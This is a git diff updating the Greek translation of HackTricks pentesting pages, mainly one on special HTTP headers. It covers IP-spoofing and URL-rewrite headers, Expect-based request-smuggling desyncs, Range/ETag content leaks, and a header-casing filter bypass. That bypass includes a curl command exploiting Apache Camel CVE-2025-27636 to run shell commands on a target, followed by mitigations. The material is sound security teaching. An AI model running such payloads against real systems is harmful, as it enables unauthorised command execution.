Translated ['src/pentesting-web/http-request-smuggling/README.md', 'src/

src/network-services-pentesting/pentesting-web/special-http-headers.md

@@ -1,15 +1,15 @@
-# Ειδικοί HTTP επικεφαλίδες
+# Ειδικές HTTP κεφαλίδες
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Λίστες Λέξεων & Εργαλεία
+## Λίστες λέξεων & Εργαλεία
 
 - [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
 - [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
 
-## Επικεφαλίδες για Αλλαγή Τοποθεσίας
+## Επικεφαλίδες για αλλαγή τοποθεσίας
 
-Αναδιατύπωση **IP πηγής**:
+Αντικατάσταση **πηγής IP**:
 
 - `X-Originating-IP: 127.0.0.1`
 - `X-Forwarded-For: 127.0.0.1`
@@ -26,19 +26,20 @@
 - `True-Client-IP: 127.0.0.1`
 - `Cluster-Client-IP: 127.0.0.1`
 - `Via: 1.0 fred, 1.1 127.0.0.1`
-- `Connection: close, X-Forwarded-For` (Ελέγξτε τις επικεφαλίδες hop-by-hop)
+- `Connection: close, X-Forwarded-For` (Έλεγχος hop-by-hop κεφαλίδων)
 
-Αναδιατύπωση **τοποθεσίας**:
+Αλλαγή **τοποθεσίας**:
 
 - `X-Original-URL: /admin/console`
 - `X-Rewrite-URL: /admin/console`
 
-## Επικεφαλίδες Hop-by-Hop
+## Hop-by-Hop κεφαλίδες
 
-Μια επικεφαλίδα hop-by-hop είναι μια επικεφαλίδα που έχει σχεδιαστεί για να επεξεργάζεται και να καταναλώνεται από τον proxy που χειρίζεται την αίτηση, σε αντίθεση με μια επικεφαλίδα end-to-end.
+Μια hop-by-hop κεφαλίδα είναι μια κεφαλίδα που προορίζεται να επεξεργαστεί και να καταναλωθεί από το proxy που χειρίζεται τη συγκεκριμένη αίτηση, σε αντίθεση με μια end-to-end κεφαλίδα.
 
 - `Connection: close, X-Forwarded-For`
 
+
 {{#ref}}
 ../../pentesting-web/abusing-hop-by-hop-headers.md
 {{#endref}}
@@ -48,78 +49,98 @@
 - `Content-Length: 30`
 - `Transfer-Encoding: chunked`
 
+
 {{#ref}}
 ../../pentesting-web/http-request-smuggling/
 {{#endref}}
 
-## Επικεφαλίδες Cache
+## Η κεφαλίδα Expect
 
-**Επικεφαλίδες Cache Διακομιστή**:
+Είναι δυνατόν ο client να στείλει την κεφαλίδα `Expect: 100-continue` και τότε ο server να απαντήσει με `HTTP/1.1 100 Continue` ώστε ο client να συνεχίσει την αποστολή του σώματος του αιτήματος. Ωστόσο, κάποια proxies δεν χειρίζονται σωστά αυτήν την κεφαλίδα.
+
+Ενδιαφέροντα αποτελέσματα του `Expect: 100-continue`:
+- Αποστολή ενός HEAD αιτήματος με σώμα — ο server δεν έλαβε υπόψη ότι τα HEAD αιτήματα δεν έχουν σώμα και κράτησε τη σύνδεση ανοιχτή μέχρι να λήξει ο χρόνος αναμονής.
+- Άλλοι servers επέστρεψαν περίεργα δεδομένα: τυχαία δεδομένα διαβασμένα από το socket στην απάντηση, μυστικά κλειδιά ή ακόμα επέτρεψαν στο front-end να μην αφαιρέσει τιμές κεφαλίδων.
+- Προκάλεσε επίσης ένα `0.CL` desync επειδή το backend απάντησε με 400 αντί για 100, αλλά το proxy front-end ήταν έτοιμο να στείλει το σώμα του αρχικού αιτήματος, οπότε το έστειλε και το backend το θεώρησε ως νέο αίτημα.
+- Η αποστολή μιας παραλλαγής `Expect: y 100-continue` προκάλεσε επίσης το `0.CL` desync.
+- Ένα παρόμοιο σφάλμα όπου το backend απάντησε με 404 δημιούργησε `CL.0` desync επειδή το κακόβουλο αίτημα υποδεικνύει `Content-Length`, έτσι το backend στέλνει το κακόβουλο αίτημα + τα `Content-Length` bytes του επόμενου αιτήματος (ένος θύματος). Αυτό αποσυντονίζει την ουρά επειδή το backend στέλνει την απάντηση 404 για το κακόβουλο αίτημα + την απάντηση του θύματος, αλλά το front-end νόμιζε ότι εστάλη μόνο 1 αίτημα, οπότε η δεύτερη απάντηση πηγαίνει σε δεύτερο θύμα κ.ο.κ.
+
+Για περισσότερες πληροφορίες σχετικά με HTTP Request Smuggling δείτε:
+
+{{#ref}}
+../../pentesting-web/http-request-smuggling/
+{{#endref}}
+
+
+## Cache κεφαλίδες
+
+**Server Cache Headers**:
+
+- **`X-Cache`** στην απάντηση μπορεί να έχει την τιμή **`miss`** όταν το αίτημα δεν ήταν cached και την τιμή **`hit`** όταν ήταν cached
+- Παρόμοια συμπεριφορά στην κεφαλίδα **`Cf-Cache-Status`**
+- **`Cache-Control`** υποδεικνύει αν ένας πόρος γίνεται cache και πότε θα επανελεγχθεί: `Cache-Control: public, max-age=1800`
+- **`Vary`** χρησιμοποιείται συχνά στην απάντηση για να **υποδείξει επιπλέον κεφαλίδες** που θεωρούνται **μέρος του cache key** ακόμη και αν κανονικά δεν είναι keyed.
+- **`Age`** ορίζει σε δευτερόλεπτα πόσο καιρό το αντικείμενο βρίσκεται στο proxy cache.
+- **`Server-Timing: cdn-cache; desc=HIT`** επίσης δείχνει ότι ένας πόρος ήταν cached
 
-- **`X-Cache`** στην απάντηση μπορεί να έχει την τιμή **`miss`** όταν η αίτηση δεν έχει αποθηκευτεί στην cache και την τιμή **`hit`** όταν είναι αποθηκευμένη
-- Παρόμοια συμπεριφορά στην επικεφαλίδα **`Cf-Cache-Status`**
-- **`Cache-Control`** υποδεικνύει αν ένας πόρος αποθηκεύεται στην cache και πότε θα είναι η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: `Cache-Control: public, max-age=1800`
-- **`Vary`** χρησιμοποιείται συχνά στην απάντηση για να **υποδείξει επιπλέον επικεφαλίδες** που θεωρούνται **μέρος του κλειδιού cache** ακόμη και αν κανονικά δεν είναι κλειδωμένες.
-- **`Age`** ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην cache του proxy.
-- **`Server-Timing: cdn-cache; desc=HIT`** υποδεικνύει επίσης ότι ένας πόρος έχει αποθηκευτεί στην cache
 
 {{#ref}}
 ../../pentesting-web/cache-deception/
 {{#endref}}
 
-**Τοπικές επικεφαλίδες Cache**:
+**Τοπικές κεφαλίδες cache**:
 
-- `Clear-Site-Data`: Επικεφαλίδα για να υποδείξει την cache που πρέπει να αφαιρεθεί: `Clear-Site-Data: "cache", "cookies"`
-- `Expires`: Περιέχει ημερομηνία/ώρα όταν η απάντηση πρέπει να λήξει: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
-- `Pragma: no-cache` το ίδιο με `Cache-Control: no-cache`
-- `Warning`: Η **`Warning`** γενική HTTP επικεφαλίδα περιέχει πληροφορίες σχετικά με πιθανά προβλήματα με την κατάσταση του μηνύματος. Περισσότερες από μία `Warning` επικεφαλίδες μπορεί να εμφανιστούν σε μια απάντηση. `Warning: 110 anderson/1.3.37 "Response is stale"`
+- `Clear-Site-Data`: Κεφαλίδα για να υποδείξει ποιο cache πρέπει να αφαιρεθεί: `Clear-Site-Data: "cache", "cookies"`
+- `Expires`: Περιέχει ημερομηνία/ώρα πότε η απάντηση λήγει: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
+- `Pragma: no-cache` ίδιο με `Cache-Control: no-cache`
+- `Warning`: Η γενική HTTP κεφαλίδα **`Warning`** περιέχει πληροφορίες σχετικά με πιθανά προβλήματα στην κατάσταση του μηνύματος. Μπορεί να εμφανιστούν περισσότερες από μία κεφαλίδες `Warning` στην απάντηση. `Warning: 110 anderson/1.3.37 "Response is stale"`
 
-## Συνθήκες
+## Conditionals
 
-- Οι αιτήσεις που χρησιμοποιούν αυτές τις επικεφαλίδες: **`If-Modified-Since`** και **`If-Unmodified-Since`** θα απαντηθούν με δεδομένα μόνο αν η επικεφαλίδα απάντησης **`Last-Modified`** περιέχει διαφορετική ώρα.
-- Οι συνθήκες αιτήσεων που χρησιμοποιούν **`If-Match`** και **`If-None-Match`** χρησιμοποιούν μια τιμή Etag ώστε ο διακομιστής ιστού να στείλει το περιεχόμενο της απάντησης αν τα δεδομένα (Etag) έχουν αλλάξει. Το `Etag` λαμβάνεται από την HTTP απάντηση.
-- Η τιμή **Etag** υπολογίζεται συνήθως **βάσει** του **περιεχομένου** της απάντησης. Για παράδειγμα, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` υποδεικνύει ότι το `Etag` είναι το **Sha1** των **37 bytes**.
+- Τα αιτήματα που χρησιμοποιούν αυτές τις κεφαλίδες: **`If-Modified-Since`** και **`If-Unmodified-Since`** θα απαντηθούν με δεδομένα μόνο αν η κεφαλίδα απόκρισης **`Last-Modified`** περιέχει διαφορετικό χρόνο.
+- Τα conditional αιτήματα που χρησιμοποιούν **`If-Match`** και **`If-None-Match`** χρησιμοποιούν μια τιμή ETag ώστε ο web server να στείλει το περιεχόμενο της απάντησης αν τα δεδομένα (Etag) έχουν αλλάξει. Το `Etag` προέρχεται από την HTTP απάντηση.
+- Η τιμή **Etag** συνήθως **υπολογίζεται βάσει** του **περιεχομένου** της απάντησης. Για παράδειγμα, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` υποδεικνύει ότι το `Etag` είναι το **Sha1** των **37 bytes**.
 
-## Αιτήσεις Εύρους
+## Range requests
 
-- **`Accept-Ranges`**: Υποδεικνύει αν ο διακομιστής υποστηρίζει αιτήσεις εύρους, και αν ναι σε ποια μονάδα μπορεί να εκφραστεί το εύρος. `Accept-Ranges: <range-unit>`
-- **`Range`**: Υποδεικνύει το μέρος ενός εγγράφου που ο διακομιστής πρέπει να επιστρέψει. Για παράδειγμα, `Range:80-100` θα επιστρέψει τα bytes 80 έως 100 της αρχικής απάντησης με κωδικό κατάστασης 206 Partial Content. Επίσης, θυμηθείτε να αφαιρέσετε την επικεφαλίδα `Accept-Encoding` από την αίτηση.
-- Αυτό θα μπορούσε να είναι χρήσιμο για να αποκτήσετε μια απάντηση με αυθαίρετο κωδικό javascript που διαφορετικά θα μπορούσε να διαφύγει. Αλλά για να το εκμεταλλευτείτε αυτό θα χρειαστεί να εισάγετε αυτές τις επικεφαλίδες στην αίτηση.
-- **`If-Range`**: Δημιουργεί μια συνθήκη αίτησης εύρους που εκπληρώνεται μόνο αν το δεδομένο etag ή ημερομηνία ταιριάζει με τον απομακρυσμένο πόρο. Χρησιμοποιείται για να αποτρέψει τη λήψη δύο εύρων από ασύμβατες εκδόσεις του πόρου.
-- **`Content-Range`**: Υποδεικνύει πού σε ένα πλήρες μήνυμα σώματος ανήκει ένα μερικό μήνυμα.
+- **`Accept-Ranges`**: Υποδεικνύει αν ο server υποστηρίζει range requests, και αν ναι σε ποια μονάδα μπορεί να εκφραστεί το range. `Accept-Ranges: <range-unit>`
+- **`Range`**: Υποδεικνύει το τμήμα ενός εγγράφου που ο server πρέπει να επιστρέψει. Για παράδειγμα, `Range:80-100` θα επιστρέψει τα bytes 80 έως 100 της αρχικής απάντησης με status code 206 Partial Content. Επίσης θυμηθείτε να αφαιρέσετε την κεφαλίδα `Accept-Encoding` από το αίτημα.
+- Αυτό μπορεί να είναι χρήσιμο για να πάρει μια response με αυθαίρετο reflected javascript code που αλλιώς θα γινόταν escape. Αλλά για να το εκμεταλλευτείτε θα χρειαστεί να inject αυτές τις κεφαλίδες στο αίτημα.
+- **`If-Range`**: Δημιουργεί ένα conditional range request που εκπληρώνεται μόνο αν το δοσμένο etag ή ημερομηνία ταιριάζει με τον απομακρυσμένο πόρο. Χρησιμοποιείται για να αποτρέψει το κατέβασμα δύο ranges από ασύμβατες εκδόσεις του πόρου.
+- **`Content-Range`**: Υποδεικνύει σε ποιο μέρος ενός πλήρους σώματος ανήκει ένα μερικό μήνυμα.
 
 ## Πληροφορίες σώματος μηνύματος
 
-- **`Content-Length`:** Το μέγεθος του πόρου, σε δεκαδικούς αριθμούς bytes.
-- **`Content-Type`**: Υποδεικνύει τον τύπο μέσου του πόρου
-- **`Content-Encoding`**: Χρησιμοποιείται για να προσδιορίσει τον αλγόριθμο συμπίεσης.
-- **`Content-Language`**: Περιγράφει τη γλώσσα(ες) που προορίζονται για το κοινό, ώστε να επιτρέπει σε έναν χρήστη να διαφοροποιεί σύμφωνα με την προτιμώμενη γλώσσα του.
-- **`Content-Location`**: Υποδεικνύει μια εναλλακτική τοποθεσία για τα επιστρεφόμενα δεδομένα.
+- **`Content-Length`:** Το μέγεθος του πόρου, σε δεκαδικά bytes.
+- **`Content-Type`**: Υποδεικνύει τον τύπο μέσου (media type) του πόρου
+- **`Content-Encoding`**: Χρησιμοποιείται για να καθορίσει τον αλγόριθμο συμπίεσης.
+- **`Content-Language`**: Περιγράφει τη γλώσσα/γλώσσες για το κοινό, ώστε να επιτρέπει σε έναν χρήστη να διαφοροποιεί ανάλογα με την προτιμώμενη γλώσσα του.
+- **`Content-Location`**: Υποδεικνύει μια εναλλακτική τοποθεσία για τα επιστραφέντα δεδομένα.
 
-Από την άποψη ενός pentest, αυτές οι πληροφορίες είναι συνήθως "άχρηστες", αλλά αν ο πόρος είναι **προστατευμένος** από έναν 401 ή 403 και μπορείτε να βρείτε κάποιο **τρόπο** να **πάρετε** αυτές τις **πληροφορίες**, αυτό θα μπορούσε να είναι **ενδιαφέρον.**\
-Για παράδειγμα, ένας συνδυασμός **`Range`** και **`Etag`** σε μια αίτηση HEAD μπορεί να διαρρεύσει το περιεχόμενο της σελίδας μέσω αιτήσεων HEAD:
+Από την σκοπιά ενός pentest αυτή η πληροφορία συνήθως είναι "άχρηστη", αλλά αν ο πόρος είναι **protected** από ένα 401 ή 403 και μπορέσετε να βρείτε κάποιον **τρόπο** να **get** αυτές τις **info**, αυτό μπορεί να είναι **interesting.**\
+Για παράδειγμα, ένας συνδυασμός `Range` και `Etag` σε ένα HEAD request μπορεί να leak το περιεχόμενο της σελίδας μέσω HEAD requests:
 
-- Μια αίτηση με την επικεφαλίδα `Range: bytes=20-20` και με μια απάντηση που περιέχει `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` διαρρέει ότι το SHA1 του byte 20 είναι `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
+- Ένα αίτημα με την κεφαλίδα `Range: bytes=20-20` και με μια απάντηση που περιέχει `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` leak ότι το SHA1 του byte 20 είναι `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
 
-## Πληροφορίες Διακομιστή
+## Πληροφορίες Server
 
 - `Server: Apache/2.4.1 (Unix)`
 - `X-Powered-By: PHP/5.3.3`
 
-## Έλεγχοι
+## Controls
 
-- **`Allow`**: Αυτή η επικεφαλίδα χρησιμοποιείται για να επικοινωνήσει τις HTTP μεθόδους που μπορεί να χειριστεί ένας πόρος. Για παράδειγμα, μπορεί να καθοριστεί ως `Allow: GET, POST, HEAD`, υποδεικνύοντας ότι ο πόρος υποστηρίζει αυτές τις μεθόδους.
-- **`Expect`**: Χρησιμοποιείται από τον πελάτη για να μεταφέρει προσδοκίες που πρέπει να πληροί ο διακομιστής για να επεξεργαστεί επιτυχώς την αίτηση. Μια κοινή περίπτωση χρήσης περιλαμβάνει την επικεφαλίδα `Expect: 100-continue`, η οποία σηματοδοτεί ότι ο πελάτης σκοπεύει να στείλει ένα μεγάλο φορτίο δεδομένων. Ο πελάτης αναζητά μια απάντηση `100 (Continue)` πριν προχωρήσει με τη μετάδοση. Αυτός ο μηχανισμός βοηθά στη βελτιστοποίηση της χρήσης του δικτύου περιμένοντας επιβεβαίωση από τον διακομιστή.
+- **`Allow`**: Αυτή η κεφαλίδα χρησιμοποιείται για να επικοινωνήσει ποιες HTTP μέθοδοι μπορεί να χειριστεί ένας πόρος. Για παράδειγμα, μπορεί να οριστεί ως `Allow: GET, POST, HEAD`, υποδεικνύοντας ότι ο πόρος υποστηρίζει αυτές τις μεθόδους.
+- **`Expect`**: Χρησιμοποιείται από τον client για να μεταφέρει προσδοκίες που ο server πρέπει να ικανοποιήσει ώστε το αίτημα να επεξεργαστεί επιτυχώς. Μια κοινή χρήση είναι η κεφαλίδα `Expect: 100-continue`, η οποία σηματοδοτεί ότι ο client σκοπεύει να στείλει μεγάλο payload δεδομένων. Ο client περιμένει μια απάντηση `100 (Continue)` πριν προχωρήσει στην αποστολή. Αυτό βοηθά στην βελτιστοποίηση της χρήσης του δικτύου περιμένοντας επιβεβαίωση από τον server.
 
 ## Λήψεις
 
-- Η **`Content-Disposition`** επικεφαλίδα στις HTTP απαντήσεις καθορίζει αν ένα αρχείο πρέπει να εμφανίζεται **inline** (μέσα στη σελίδα) ή να αντιμετωπίζεται ως **συνημμένο** (κατεβασμένο). Για παράδειγμα:
+- Η κεφαλίδα `Content-Disposition` στις HTTP απαντήσεις καθορίζει εάν ένα αρχείο πρέπει να προβάλλεται inline (εντός της ιστοσελίδας) ή να αντιμετωπίζεται ως attachment (να γίνει λήψη). Για παράδειγμα:
 ```
 Content-Disposition: attachment; filename="filename.jpg"
 ```
-Αυτό σημαίνει ότι το αρχείο με το όνομα "filename.jpg" προορίζεται να κατέβει και να αποθηκευτεί.
+Αυτό σημαίνει ότι το αρχείο με όνομα "filename.jpg" προορίζεται να ληφθεί και να αποθηκευτεί.
 
-## Security Headers
+## Κεφαλίδες ασφάλειας
 
 ### Content Security Policy (CSP) <a href="#csp" id="csp"></a>
 
@@ -130,7 +151,7 @@ Content-Disposition: attachment; filename="filename.jpg"
 
 ### **Trusted Types**
 
-Με την επιβολή των Trusted Types μέσω του CSP, οι εφαρμογές μπορούν να προστατευτούν από επιθέσεις DOM XSS. Οι Trusted Types διασφαλίζουν ότι μόνο ειδικά κατασκευασμένα αντικείμενα, που συμμορφώνονται με τις καθορισμένες πολιτικές ασφαλείας, μπορούν να χρησιμοποιηθούν σε επικίνδυνες κλήσεις web API, εξασφαλίζοντας έτσι τον κώδικα JavaScript από προεπιλογή.
+Με την επιβολή των Trusted Types μέσω του CSP, οι εφαρμογές μπορούν να προστατευτούν από επιθέσεις DOM XSS. Οι Trusted Types εξασφαλίζουν ότι μόνο ειδικά κατασκευασμένα αντικείμενα, συμβατά με καθιερωμένες πολιτικές ασφαλείας, μπορούν να χρησιμοποιηθούν σε επικίνδυνες κλήσεις web API, προστατεύοντας έτσι τον κώδικα JavaScript από προεπιλογή.
 ```javascript
 // Feature detection
 if (window.trustedTypes && trustedTypes.createPolicy) {
@@ -149,70 +170,71 @@ el.innerHTML = escaped // Results in safe assignment.
 ```
 ### **X-Content-Type-Options**
 
-Αυτή η κεφαλίδα αποτρέπει την ανίχνευση τύπου MIME, μια πρακτική που θα μπορούσε να οδηγήσει σε ευπάθειες XSS. Διασφαλίζει ότι οι περιηγητές σέβονται τους τύπους MIME που καθορίζονται από τον διακομιστή.
+Αυτό το header αποτρέπει την ανίχνευση τύπου MIME, μια πρακτική που μπορεί να οδηγήσει σε ευπάθειες XSS. Εξασφαλίζει ότι οι περιηγητές σέβονται τους τύπους MIME που καθορίζονται από τον server.
 ```
 X-Content-Type-Options: nosniff
 ```
 ### **X-Frame-Options**
 
-Για να καταπολεμηθεί το clickjacking, αυτή η κεφαλίδα περιορίζει το πώς μπορούν να ενσωματωθούν έγγραφα σε `<frame>`, `<iframe>`, `<embed>`, ή `<object>` tags, προτείνοντας σε όλα τα έγγραφα να καθορίζουν ρητά τις άδειες ενσωμάτωσής τους.
+Για την αντιμετώπιση του clickjacking, αυτή η κεφαλίδα περιορίζει τον τρόπο με τον οποίο τα έγγραφα μπορούν να ενσωματωθούν σε `<frame>`, `<iframe>`, `<embed>` ή `<object>` ετικέτες, προτείνοντας σε όλα τα έγγραφα να καθορίζουν ρητά τα δικαιώματα ενσωμάτωσής τους.
 ```
 X-Frame-Options: DENY
 ```
-### **Cross-Origin Resource Policy (CORP) και Cross-Origin Resource Sharing (CORS)**
+### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
 
-CORP είναι κρίσιμη για τον καθορισμό ποιες πόροι μπορούν να φορτωθούν από ιστοσελίδες, μετριάζοντας τις διαρροές μεταξύ ιστότοπων. CORS, από την άλλη πλευρά, επιτρέπει έναν πιο ευέλικτο μηχανισμό διαμοιρασμού πόρων μεταξύ διαφορετικών προελεύσεων, χαλαρώνοντας την πολιτική της ίδιας προέλευσης υπό ορισμένες συνθήκες.
+Το CORP είναι κρίσιμο για τον καθορισμό των πόρων που μπορούν να φορτωθούν από ιστοσελίδες, μειώνοντας τα cross-site leaks. Αντίθετα, το CORS επιτρέπει έναν πιο ευέλικτο μηχανισμό cross-origin resource sharing, χαλαρώνοντας τη same-origin policy υπό ορισμένες προϋποθέσεις.
 ```
 Cross-Origin-Resource-Policy: same-origin
 Access-Control-Allow-Origin: https://example.com
 Access-Control-Allow-Credentials: true
 ```
-### **Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)**
+### **Cross-Origin Embedder Policy (COEP) και Cross-Origin Opener Policy (COOP)**
 
-COEP και COOP είναι απαραίτητα για την ενεργοποίηση της διασυνοριακής απομόνωσης, μειώνοντας σημαντικά τον κίνδυνο επιθέσεων τύπου Spectre. Ελέγχουν τη φόρτωση διασυνοριακών πόρων και την αλληλεπίδραση με διασυνοριακά παράθυρα, αντίστοιχα.
+COEP και COOP είναι απαραίτητα για την ενεργοποίηση του cross-origin isolation, μειώνοντας σημαντικά τον κίνδυνο επιθέσεων τύπου Spectre. Ελέγχουν, αντίστοιχα, τη φόρτωση πόρων cross-origin και την αλληλεπίδραση με παράθυρα cross-origin.
 ```
 Cross-Origin-Embedder-Policy: require-corp
 Cross-Origin-Opener-Policy: same-origin-allow-popups
 ```
 ### **HTTP Strict Transport Security (HSTS)**
 
-Τέλος, το HSTS είναι μια λειτουργία ασφαλείας που αναγκάζει τους περιηγητές να επικοινωνούν με τους διακομιστές μόνο μέσω ασφαλών συνδέσεων HTTPS, ενισχύοντας έτσι την ιδιωτικότητα και την ασφάλεια.
+Τέλος, το HSTS είναι μια λειτουργία ασφαλείας που αναγκάζει τους browsers να επικοινωνούν με τους servers μόνο μέσω ασφαλών συνδέσεων HTTPS, ενισχύοντας έτσι το απόρρητο και την ασφάλεια.
 ```
 Strict-Transport-Security: max-age=3153600
 ```
 ## Header Name Casing Bypass
 
-HTTP/1.1 ορίζει τα ονόματα πεδίων κεφαλίδας ως **ευαίσθητα σε περίπτωση** (RFC 9110 §5.1). Παρ' όλα αυτά, είναι πολύ συνηθισμένο να βρίσκουμε προσαρμοσμένο middleware, φίλτρα ασφαλείας ή επιχειρηματική λογική που συγκρίνουν το *κυριολεκτικό* όνομα κεφαλίδας που λαμβάνεται χωρίς να κανονικοποιούν πρώτα την περίπτωση (π.χ. `header.equals("CamelExecCommandExecutable")`). Αν αυτές οι έλεγχοι εκτελούνται **ευαίσθητα σε περίπτωση**, ένας επιτιθέμενος μπορεί να τους παρακάμψει απλά στέλνοντας την ίδια κεφαλίδα με διαφορετική κεφαλαιοποίηση.
+HTTP/1.1 ορίζει τα ονόματα πεδίων κεφαλίδας ως **χωρίς διάκριση πεζών/κεφαλαίων** (RFC 9110 §5.1). Παρ' όλα αυτά, είναι πολύ συνηθισμένο να βρίσκονται προσαρμοσμένα middleware, φίλτρα ασφαλείας ή επιχειρησιακή λογική που συγκρίνουν το *κυριολεκτικό* όνομα της κεφαλίδας όπως λήφθηκε χωρίς πρώτα να κανονικοποιήσουν την περίπτωση των χαρακτήρων (π.χ. `header.equals("CamelExecCommandExecutable")`). Εάν αυτοί οι έλεγχοι γίνονται **με διάκριση πεζών/κεφαλαίων**, ένας επιτιθέμενος μπορεί να τους παρακάμψει απλά στέλνοντας την ίδια κεφαλίδα με διαφορετική κεφαλαιοποίηση.
 
-Τυπικές καταστάσεις όπου εμφανίζεται αυτό το λάθος:
+Typical situations where this mistake appears:
 
-* Προσαρμοσμένες λίστες επιτρεπόμενων/απαγορευμένων που προσπαθούν να μπλοκάρουν "επικίνδυνες" εσωτερικές κεφαλίδες πριν η αίτηση φτάσει σε ένα ευαίσθητο συστατικό.
-* Εσωτερικές υλοποιήσεις ψευδοκεφαλίδων reverse-proxy (π.χ. απολύμανση `X-Forwarded-For`).
-* Πλαίσια που εκθέτουν διαχειριστικά / αποσφαλμάτωσης endpoints και βασίζονται σε ονόματα κεφαλίδων για αυθεντικοποίηση ή επιλογή εντολών.
+* Custom allow/deny lists that try to block “dangerous” internal headers before the request reaches a sensitive component.
+* In-house implementations of reverse-proxy pseudo-headers (e.g. `X-Forwarded-For` sanitisation).
+* Frameworks that expose management / debug endpoints and rely on header names for authentication or command selection.
 
 ### Abusing the bypass
 
-1. Εντοπίστε μια κεφαλίδα που φιλτράρεται ή επικυρώνεται από την πλευρά του διακομιστή (για παράδειγμα, διαβάζοντας τον πηγαίο κώδικα, την τεκμηρίωση ή τα μηνύματα σφάλματος).
-2. Στείλτε την **ίδια κεφαλίδα με διαφορετική περίπτωση** (μικτή ή κεφαλαία). Δεδομένου ότι οι στοίβες HTTP συνήθως κανονικοποιούν τις κεφαλίδες μόνο *μετά* την εκτέλεση του κώδικα χρήστη, ο ευάλωτος έλεγχος μπορεί να παρακαμφθεί.
-3. Αν το downstream συστατικό αντιμετωπίζει τις κεφαλίδες με τρόπο ευαίσθητο σε περίπτωση (οι περισσότερες το κάνουν), θα αποδεχτεί την τιμή που ελέγχεται από τον επιτιθέμενο.
+1. Εντοπίστε μια κεφαλίδα που φιλτράρεται ή επικυρώνεται server-side (για παράδειγμα, διαβάζοντας πηγαίο κώδικα, τεκμηρίωση ή μηνύματα σφάλματος).
+2. Στείλτε την **ίδια κεφαλίδα με διαφορετική κεφαλαιοποίηση** (μικτο-κεφαλαία ή όλα κεφαλαία). Επειδή οι HTTP στοίβες συνήθως κανονικοποιούν τις κεφαλίδες μόνο *μετά* το πέρας του user code, ο ευάλωτος έλεγχος μπορεί να παρακαμφθεί.
+3. Εάν το downstream component χειρίζεται τις κεφαλίδες χωρίς διάκριση πεζών/κεφαλαίων (το μεγαλύτερο μέρος το κάνει), θα αποδεχτεί την τιμή που ελέγχεται από τον επιτιθέμενο.
 
 ### Example: Apache Camel `exec` RCE (CVE-2025-27636)
 
-Σε ευάλωτες εκδόσεις του Apache Camel οι διαδρομές *Command Center* προσπαθούν να μπλοκάρουν μη αξιόπιστες αιτήσεις αφαιρώντας τις κεφαλίδες `CamelExecCommandExecutable` και `CamelExecCommandArgs`. Η σύγκριση έγινε με `equals()` οπότε μόνο τα ακριβή ονόματα με πεζά γράμματα αφαιρέθηκαν.
+In vulnerable versions of Apache Camel the *Command Center* routes try to block untrusted requests by stripping the headers `CamelExecCommandExecutable` and `CamelExecCommandArgs`.  The comparison was done with `equals()` so only the exact lowercase names were removed.
 ```bash
 # Bypass the filter by using mixed-case header names and execute `ls /` on the host
 curl "http://<IP>/command-center" \
 -H "CAmelExecCommandExecutable: ls" \
 -H "CAmelExecCommandArgs: /"
 ```
-Οι κεφαλίδες φτάνουν στο `exec` συστατικό χωρίς φιλτράρισμα, με αποτέλεσμα την απομακρυσμένη εκτέλεση εντολών με τα δικαιώματα της διαδικασίας Camel.
+Τα headers φτάνουν στο `exec` component χωρίς φιλτράρισμα, με αποτέλεσμα remote command execution με τα δικαιώματα της διαδικασίας Camel.
 
-### Ανίχνευση & Μετριασμός
+### Εντοπισμός & Αντιμετώπιση
+
+* Κανονικοποιήστε όλα τα header names σε ένα case (συνήθως lowercase) **πριν** την εκτέλεση allow/deny comparisons.
+* Απορρίψτε ύποπτα duplicates: αν υπάρχουν και τα δύο `Header:` και `HeAdEr:`, θεωρήστε το ανωμαλία.
+* Χρησιμοποιήστε μια θετική allow-list που εφαρμόζεται **μετά** την κανονικοποίηση.
+* Προστατέψτε management endpoints με authentication και network segmentation.
 
-* Κανονικοποιήστε όλα τα ονόματα κεφαλίδων σε μία μόνο περίπτωση (συνήθως πεζά) **πριν** από την εκτέλεση συγκρίσεων επιτρεπόμενων/απαγορευμένων.
-* Απορρίψτε ύποπτες διπλοτυπίες: αν είναι παρούσες και οι δύο `Header:` και `HeAdEr:`, αντιμετωπίστε το ως ανωμαλία.
-* Χρησιμοποιήστε μια θετική λίστα επιτρεπόμενων που επιβάλλεται **μετά** την κανονικοποίηση.
-* Προστατέψτε τα σημεία διαχείρισης με αυθεντικοποίηση και δικτυακή τμηματοποίηση.
 
 ## Αναφορές
 

src/pentesting-web/http-request-smuggling/README.md

@@ -5,61 +5,78 @@
 
 ## Τι είναι
 
-Αυτή η ευπάθεια συμβαίνει όταν υπάρχει **αποσυγχρονισμός** μεταξύ των **front-end proxies** και του **back-end** server που επιτρέπει σε έναν **attacker** να **στείλει** ένα HTTP **request** που θα **ερμηνευτεί** ως **ένα μόνο request** από τους **front-end** proxies (load balance/reverse-proxy) και **ως 2 requests** από τον **back-end** server.\
-Αυτό επιτρέπει σε έναν χρήστη να **τροποποιήσει το επόμενο request που φτάνει στον back-end server μετά το δικό του**.
+Αυτή η ευπάθεια εμφανίζεται όταν ένας **αποσυγχρονισμός** μεταξύ των **front-end proxies** και του **back-end** server επιτρέπει σε έναν **attacker** να **στείλει** ένα HTTP **request** που θα **ερμηνευτεί** ως **ένα request** από τους **front-end proxies** (load balance/reverse-proxy) και **ως 2 request** από τον **back-end** server.\
+Αυτό επιτρέπει σε έναν χρήστη να **τροποποιήσει το επόμενο request που φτάνει στον back-end server μετά από το δικό του**.
 
 ### Θεωρία
 
 [**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
 
